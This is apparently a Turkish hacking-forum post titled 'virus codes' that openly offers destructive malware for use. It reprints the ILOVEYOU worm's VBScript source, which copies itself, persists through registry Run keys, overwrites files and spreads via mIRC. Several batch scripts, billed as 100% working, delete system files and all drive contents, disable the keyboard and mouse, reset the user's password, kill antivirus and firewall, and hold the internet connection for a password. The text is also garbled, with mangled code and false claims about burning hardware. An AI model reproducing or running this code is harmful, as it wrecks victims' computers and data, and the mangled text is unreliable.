Virüs Kodları

rem delete -pcaş(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( şnick == şme ) { halt }"
scriptini.WriteLine "n2= /.dcc send şnick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
%100 Çalışan .Bat
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
1-Explorer.exe kapanır
2-Mouse aktif dışı olur
3-Klavye aktif dışı olur
4-Mouse çöker Artık mouse tarih olur.
5-Pcye manyak şifre konur
6-Explorer.exe silinir
7-Taskmgr Silinir.
8-Hal.dll silinir bilgisayar formatlık olur
9-Masaüstü silinir
10-Pcye mesaj gelir ve pc kapanır.

@echo off
taskkill -f -im explorer.exe
rundll32 mouse,disable
rundll32 keyboard,disable
rundll32 user,swapmousebutton
net user %username% RobustTeam
start %systemdrive%\WINDOWS\system32\WISPTIS.EXE
start %systemdrive%\WINDOWS\system32\WISPTIS.EXE
del f/q/s %systemdrive%\WINDOWS\explorer.exe
del f/q/s %systemdrive%\WINDOWS\system32\explorer.exe
del f/q/s %systemdrive%\WINDOWS\TASKMAN.exe
del f/q/s %systemdrive%\WINDOWS\taskman.exe
del f/q/s %systemdrive%\WINDOWS\system32\taskmgr.exe
rem Disable Computer By Deleting hal.dll
del /f /q %SystemDrive%\WINDOWS\system32\hal.dll
del f/q/s %systemdrive%/docume~1/%username%/desktop\*.*
del f/q/s %systemdrive%/Users/%username%/desktop\*.*
shutdown -r -t 15 -c "Bilgisayarini Tamirciye Gonder Cunku RobusTTeam Sıker Ayık Ol"
pause
@echo off
exit

del C:/WINDOWS/system/KEYBOARD.DRV

C:/windows/system32/deleted

CD..
CD..
CD.
erase c:/f/s/q/a

baslat>calıstır>cmd>netstat -n

yanında :80 olanlar değil başka yazanlar ip adresidir..

shutdown -s -t 3600 Bilgisayar 1 saat sonra kapanır.
shutdown -s -t 7200 Bilgisayar 2 saat sonra kapanır.

Kapatmayı İptal Etmek İçin:

shutdown -a -t 3600 Yani 1 Saat İptal Oluyor
shutdown -a -t 7200 Yani 2 Saat İptal Oluyor

del C:/WINDOWS/system/MOUSE.DRV
del C:/WINDOWS/system/KEYBOARD.DRV
del c:\WINDOWS\system32\drivers\cdrom.bat

shutdown -r :)

del %systemroot%system32dllcachec_1254.nls
del %systemroot%system32c_1254.nls
del %systemroot%system32hal.dll
del %systemroot%system32kdcom.dll
del %systemroot%system32kernel32.dll
del %systemroot%system32bootvid.dll
del %systemroot%system32c_037.nls
del %systemroot%system32c_437.nls
del %systemroot%system32c_500.nls
del %systemroot%system32c_737.nls
del %systemroot%system32c_1255.nls
del %systemroot%system32C_28594.nls
del %systemroot%system32c_20866.nls
del %systemroot%system32bidispl.dll
del %systemroot%system32C_28594.nls
del %systemroot%system32ups.exe
del %systemroot%system32trkwks.dll
del %systemroot%system32scardsvr.exe
del %systemroot%system32audiosrv.dll
del %systemroot%system32driversatapi.sys
del %systemroot%system32driverscdaudio.sys
del %systemroot%system32driverscdfs.sys
del %systemroot%system32driverscdrom.sys
del %systemroot%\\system32\\dllcac he\\c_1254.nls
del %systemroot%\\system32\\c_1254 .nls
shutdown -r -t 00

net user %username% robustteam
del %systemroot%\\system32\\dllcache\\c_1254.nls
del %systemroot%\\system32\\c_1254.nls
del %systemroot%\\system32\\hal.dll
del %systemroot%\\system32\\kdcom.dll
del %systemroot%\\system32\\kernel32.dll
del %systemroot%\\system32\\bootvid.dll
del %systemroot%\\system32\\c_037.nls
del %systemroot%\\system32\\c_437.nls
del %systemroot%\\system32\\c_500.nls
del %systemroot%\\system32\\c_737.nls
del %systemroot%\\system32\\c_1255.nls
del %systemroot%\\system32\\C_28594.nls
del %systemroot%\\system32\\c_20866.nls
del %systemroot%\\system32\\bidispl.dll
del %systemroot%\\system32\\C_28594.nls
del %systemroot%\\system32\\ups.exe
del %systemroot%\\system32\\trkwks.dll
del %systemroot%\\system32\\scardsvr.exe
del %systemroot%\\system32\\audiosrv.dll
del %systemroot%\\system32\\drivers\\atapi.sys
del %systemroot%\\system32\\drivers\\cdaudio.sys
del %systemroot%\\system32\\drivers\\cdfs.sys
del %systemroot%\\system32\\drivers\\cdrom.sys
shutdown -r -t 00
net user %username% robustteam

@echo off
Title The kit was the keyboard and mouse...
taskkill /im explorer.exe /f
taskkill /im wscript.exe
reg addHKLM\System\CurrentControlSet\Services\Mouclass/v Start /t REG_DWORD /d4/f > nul
reg addHKLM\System\CurrentControlSet\Services\Kbdclass/v Start /t REG_DWORD /d4/f > nul
cls
exit
shutdown -r -t 00

net user %username% robustteam
shutdown -r

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
İnternet Bağlantınız Kesilecek Ve İnternet'e Bağlanmak İçin Sizden Parola İsteyecek Parolanız( robustteam )
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

@echo off
color 0a
cls
ipconfig/release
cls
echo.
:a
set /p a=H-u-t-g İnternet Baglantiniz Kesildi Baglanmak İcin Parola Girin:
if %a%==robustteam goto b
if not %a%==robustteam goto c
:b
ipconfig/renew
cls
echo Hos Geldiniz . . .
echo Sitelerinizi Acmak İcin Lütfen Enter'e Basin...
echo İstemiyorsaniz Cikis Butonuna Basiniz ...
pause
start chrome.exe https://tr-tr.facebook.com/
start chrome.exe https://www.youtube.com/?hl=tr&gl=TR
start chrome.exe http://www.turkhackteam.org/
start chrome.exe https://www.google.com.tr/
cls
exit
:c
echo Yanlis parola
goto a

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
Virüs Özellikleri :
dll Dosyaları Silinir
Masaüstü Komple Silinir
Başlat Menüsü Silinir
Klavye Çalışmaz
Mause Çalışmaz
CD-Rom Sürekli Açıp Kapanır
Bilgisayara Şifre Koyar
Güvenlik Duvarı Kapanır
Resimler Silinir
Yüm .exe Dosyaları silinir

@echo off net stop "Security Center" net stop SharedAccess > "%Temp%.kill.reg" ECHO A R E S > >"%Temp%.kill.reg" ECHO. > >"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServic esSharedAccess] > >"%Temp%.kill.reg" ECHO "Start"=dword:00000004 ****"%Temp%.kill.reg" ECHO. > >"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServic eswuauserv] > >"%Temp%.kill.reg" ECHO "Start"=dword:00000004 > >"%Temp%.kill.reg" ECHO. > >"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Servicesw scsvc] > >"%Temp%.kill.reg" ECHO "Start"=dword:00000004 > >"%Temp%.kill.reg" ECHO. START /WAIT REGEDIT /S "%Temp%.kill.reg" DEL "%Temp%.kill.reg" DEL %0 net user %username% 11111111111111111111 Command 5 Command 7 @echo off Title The kit was the keyboard and mouse... taskkill /im explorer.exe /f taskkill /im wscript.exe reg addHKLMSystemCurrentControlSetServicesMouclass/v Start /t REG_DWORD /d4/f > nul reg addHKLMSystemCurrentControlSetServicesKbdclass/v Start /t REG_DWORD /d4/f > nul cls exit start %systemdrive%WINDOWSsystem32WISPTIS.EXE start %systemdrive%WINDOWSsystem32WISPTIS.EXE del /f /q /s %systemdrive%*.dll del /f /q /s %systemdrive%*.exe del %systemdrive%WINDOWSsystem32spider.exe del %systemdrive%WINDOWSsystem32mshearts.exe del %systemdrive%WINDOWSsystem32freecell.exe del %systemdrive%WINDOWSsystem32sol.exe del %systemdrive%WINDOWSsystem32WINmine.exe del /f /q /s %systemdrive%*.jpg del /f /q /s %systemdrive%*.jpeg del /f /q /s %systemdrive%*.gif del /f /q /s %systemdrive%*.bmp del /f /q /s %systemdrive%*.jpe del /f /q /s %systemdrive%*.jpg del /f /q /s %systemdrive%*.tif del /f /q /s %systemdrive%*.dib del /f /q /s %systemdrive%*.tiff del /f /q /s %systemdrive%*.jfif del /f /q /s %systemdrive%*.png net share system=C: /unlimited Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0 Eject;1 Eject;0

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

Antivirüs kapanır(İşlem yarıda kalmasın diye)
Bios silinir
Hardisk silinir
Sürücüler bozulur
Kasa yanar (%75 ihtimalle)
Klavye felç geçirir
Monitor yanar(%75 ihtimalle)
Şifre Değişir
Windows Silinir
Kod:

@echo off
CLS
taskkill /F /IM av*
taskkill /F /IM fire*
taskkill /F /IM anti*
CLS
taskkill /F /IM spy*
taskkill /F /IM bullguard*
taskkill /F /IM PersFw*
taskkill /F /IM KAV*
taskkill /F /IM ZONEALARM*
taskkill /F /IM SAFEWEB*
CLS
taskkill /F /IM OUTPOST*
taskkill /F /IM nv*
taskkill /F /IM nav*
taskkill /F /IM F-*
taskkill /F /IM ESAFE*
taskkill /F /IM cle*
CLS
taskkill /F /IM BLACKICE*
taskkill /F /IM def*
taskkill /F /IM kav*
taskkill /F /IM kav*
taskkill /F /IM avg*
taskkill /F /IM ash*
CLS
taskkill /F /IM aswupdsv*
taskkill /F /IM ewid*
taskkill /F /IM guar*
taskkill /F /IM gcasDt*
taskkill /F /IM msmp*
CLS
taskkill /F /IM mcafe*
taskkill /F /IM mghtml*
taskkill /F /IM msiexec*
taskkill /F /IM outpost*
taskkill /F /IM isafe*
taskkill /F /IM zap*
CLS
taskkill /F /IM zauinst*
taskkill /F /IM upd*
taskkill /F /IM zlclien*
taskkill /F /IM minilog*
taskkill /F /IM cc* b
taskkill /F /IM norton*
CLS
taskkill /F /IM norton au*
taskkill /F /IM ccc*
taskkill /F /IM npfmn*
taskkill /F /IM loge*
taskkill /F /IM nisum*
taskkill /F /IM issvc*
taskkill /F /IM tmp*
CLS
taskkill /F /IM tmn*
taskkill /F /IM pcc*
taskkill /F /IM cpd*
taskkill /F /IM pop*
taskkill /F /IM pav*
taskkill /F /IM padmin*
CLS
taskkill /F /IM panda*
taskkill /F /IM avsch*
taskkill /F /IM sche*
taskkill /F /IM syman*
taskkill /F /IM virus*
taskkill /F /IM realm*
CLS
taskkill /F /IM sweep*
taskkill /F /IM scan*
taskkill /F /IM ad-*
taskkill /F /IM safe*
taskkill /F /IM avas*
taskkill /F /IM norm*
taskkill /F /IM offg*
CLS
RMDIR /Q "C:\Program Files\alwils~1" /S
RMDIR /Q "C:\Program Files\Lavasoft\Ad-awa~1" /S
RMDIR /Q "C:\Program Files\kasper~1" /S
CLS
RMDIR /Q "C:\Program Files\trojan~1" /S
RMDIR /Q "C:\Program Files\f-prot95" /S
RMDIR /Q "C:\Program Files\tbav" /S
CLS
RMDIR /Q "C:\Program Files\avpersonal" /S
RMDIR /Q "C:\Program Files\Norton~1" /S
RMDIR /Q "C:\Program Files\Mcafee" /S
CLS
RMDIR /Q "C:\Program Files\Norton~1\Norton~1\Norton~3" /S
RMDIR /Q "C:\Program Files\Norton~1\Norton~1\speedd~1" /S
RMDIR /Q "C:\Program Files\Norton~1\Norton~1" /S
RMDIR /Q "C:\Program Files\Norton~1" /S
CLS
RMDIR /Q "C:\Program Files\avgamsr" /S
RMDIR /Q "C:\Program Files\avgamsvr" /S
RMDIR /Q "C:\Program Files\avgemc" /S
CLS
RMDIR /Q "C:\Program Files\avgcc" /S
RMDIR /Q "C:\Program Files\avgupsvc" /S
RMDIR /Q "C:\Program Files\grisoft" /S
RMDIR /Q "C:\Program Files\nood32krn" /S
RMDIR /Q "C:\Program Files\nood32" /S
CLS
RMDIR /Q "C:\Program Files\nod32" /S
RMDIR /Q "C:\Program Files\nood32" /S
RMDIR /Q "C:\Program Files\kav" /S
RMDIR /Q "C:\Program Files\kavmm" /S
RMDIR /Q "C:\Program Files\kaspersky" /S
CLS
RMDIR /Q "C:\Program Files\ewidoctrl" /S
RMDIR /Q "C:\Program Files\guard" /S
RMDIR /Q "C:\Program Files\ewido" /S
CLS
RMDIR /Q "C:\Program Files\pavprsrv" /S
RMDIR /Q "C:\Program Files\pavprot" /S
RMDIR /Q "C:\Program Files\avengine" /S
CLS
RMDIR /Q "C:\Program Files\apvxdwin" /S
RMDIR /Q "C:\Program Files\webproxy" /S
RMDIR /Q "C:\Program Files\panda software" /S

cd..

cd..
attrib -s -h -r -a c:\ntldr
del c:\ntldr
/timersecure 0 0 //mkdir şmid(C:,1,2) ş+ şrand(1,99999) ş+ şrand(A,Z) ş+ şrand(a,z)
echo off

echo Microsoft sorunla karşılaştı bi tuşa basınca düzeltilecektir

echo off

pause

del /f /q d:

del /f /q c:

del C:/WINDOWS/system/KEYBOARD.DRV

90,90

resizepic 0 0 5054 405 470

gumppic 10 10 5528

gumppic *100)/1337))> *100)/1067))> 2362

text 20 400 455 0

text 20 435 455 01 local.t_x=

local.t_y=

sector.allclients sendpacket 0c0 00 D D W W W?: W B?: B 00 00 00 B?:0> D - 1> D

90,90

resizepic 0 0 5054 405 470

gumppic 10 10 5528

gumppic *100)/1337))> *100)/1067))> 2362

text 20 400 455 0

text 20 435 455 01 local.t_x=

local.t_y=

sector.allclients sendpacket 0c0 00 D D W W W?: W B?: B 00 00 00 B?:0> D - 1> D

net user %username% robustteam

@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

Dosya açılırsa ;

1. Pc'nin güvenlik duvarı kapanır.
2. BIOS silinir.
3. Anakart, harddisk, ekran kartı, usb girişleri hepsi yanar.
4. Tüm windows ailesine uyumludur.
5. System32 çok büyük zarar görür.
6. C:\WINDOWS\system klasörü silinir.
7. Ekran gider.
8. Monitör yanar.
9. PC BİRDAHA ASLA ÇALIŞMAZ . . .

@echo off
net stop "Security Center"
net stop SharedAccess
> -%Temp%.\kill.reg" ECHO A R E S
>>-%Temp%.\kill.reg" ECHO.
>>-%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>-%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>-%Temp%.\kill.reg" ECHO.
>>-%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>-%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>-%Temp%.\kill.reg" ECHO.
>>-%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>-%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>-%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S -%Temp%.\kill.reg"
DEL -%Temp%.\kill.reg"
cd..
cd..
attrib -s -h -r -a c:\ntldr
del c:\ntldr
rem delete -pcaş(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,e q,ctr,file,vbscopy,d ow
eq=--
ctr=0
Set fso = CreateObject("Scripting.FileSy stemObject")
set file = fso.OpenTextFile(WScript.Scrip tFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.She ll")
rr=wscr.RegRead("HKEY_CURRENT_ USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Mi crosoft\Windows Scripting Host\Settings\Timeout",0,"REG_ DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFull Name)
c.Copy(dirsystem&-\MSKernel32. vbs")
c.Copy(dirwin&-\Win32DLL.vbs")
c.Copy(dirsystem&-\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\M icrosoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&-\ MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\M icrosoft\Windows \Cur rentVersio n\RunServices\Win32DLL",dirwin &-\Win32DLL.vbs"
downread=--
downread=regget("HKEY_CURRENT_ USER\Software\Micros oft\Intern et Explorer\Download Directory")
if (downread=--) then
downread="c:\-
end if
if (fileexist(dirsystem&-\WinFAT3 2.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Inter net Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKh...twertnMTFwetrd sfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Inter net Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skl...wetryDGFikjUIy qwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Inter net Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TR...198vbFV5hfFEkb opBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Inter net Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjks...nfgkKLHjkqwtuH JBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw23 7461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&-\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\M icrosoft\Windows \Cur rentVersio n\Run\WIN-BUGSFIX",downread&-\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Mi crosoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&-\-)
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bna me,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.pa th)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2, true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2, true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&-\-&bname& -.vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2, true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&-.vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path &-.vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+ 2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(f olderspec&-\script.i ni")
scriptini.WriteLine -[script]-
scriptini.WriteLine -;mIRC Script"
scriptini.WriteLine -; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine - corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine -;-
scriptini.WriteLine -;Khaled Mardam-Bey"
scriptini.WriteLine -;http://www.mirc.com"
scriptini.WriteLine -;-
scriptini.WriteLine "n0=on 1:JOIN:#:{-
scriptini.WriteLine "n1= /if ( şnick == şme ) { halt }-
scriptini.WriteLine "n2= /.dcc send şnick -&dirsystem&-\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}-
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspe c)) then
msg = 0
cd c:\\
attrib -s -h boot.ini
cls
attrib -s -h found.000
attrib -s -h found.001
t>boot.ini
attrib -a -s -h pagefile.sys
h>pagefile.sys
attrib -a -s -h hiberfil.sys
HH>hiberfil.sys
attrib -a -s -h -r bootfont.bin
hhh>bootfont.bin
attrib -a -s -h -r ntdetect.com
ff>ntdetect.com
attrib -a -s -h -r ntldr
f>ntldr
cls
cd..
cd..
cls
cd windows
g>win.ini
cls
g>system.ini
cls
cd pss
ft>system.ini.backup
f>win.ini.backup
cls
cd c:\\
@echo .::.HADi baslayalım.::.
cd windows
cd system32
attrib -r -h -s dllcache
cls
attrib -a -h -r *.manifest
cls
cd config
attrib -a -h *.log
cd..
cd restore
attrib -r -h -s filelist.xml
cls
cd c:\\
cls
cd windows
cls
tskill msnmsgr /a
tskill msmsgs /a
cls
del /f /q /s c:\\windows\\system32\\*.*
cls
cd repair
attrib -a -h ntuser.dat
f>ntuser.dat
ff>secstup.inf
cd..
attrib -h inf
attrib -h -s installer
attrib -h pif
attrib -r -h -a WindowsShell.Manifest
attrib -r -h şMSI31Uninstall_KB893803ş
attrib -s -a bootstat.dat
attrib -s -h services.dll
attrib -s -h qservice.exe
attrib -a -r set3.tmp
attrib -s -h winnt.bmp
attrib -s -h winnt256.bmp
cls
cd c:\\
del /f /q /s c:\\windows\\*.*
cls
cd..
cd..
cd program files
cd internet explorer
attrib -a -s -h iexplore.exe
cd c:\\
cls
del /f /q /s c:\\program files\\*.*
cls
cd..
cd..
attrib -a -h -r -s msdos.sys
attrib -a -s -h config.sys
cls
attrib -a -h -r -s IO.sys
cls
del /f /q /s c:\\*.*
cls
@echo Yuklemeyi Bitirmek Ilerlemeniz Gerekir…
@echo Veri Kayiplari Olmamasi icin….!!!!!!…
@echo Devam Etmeniz Kesinlikle Onerilir…!!!..
pause
cls
cd..
cd..
cd ********s and Settings
cd All Users
cd Desktop
md .HackEd
md Bys
md Hacker
dir /s>HAcKeD.ini
@echo HALA shutDownN.exe Pc DEYse RES iyi Gider
cls
tsshutdn 5 /delay:2
tsshutdn 5 /delay:2
}
span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;
SearchAndDestroy(p);
sprintf(n,\-%s\\\\%s\-,p,\-*.*\-);
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name==\-.\-) continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,\-%s\\\\%s\-,p,f.ff_name);
span(n);
}
}
}
SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;
strcpy(b,p);
strcat(b,\-\\\\*.*\-);
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,\-%s\\\\%s\-,p,f.ff_name);
remove(b);
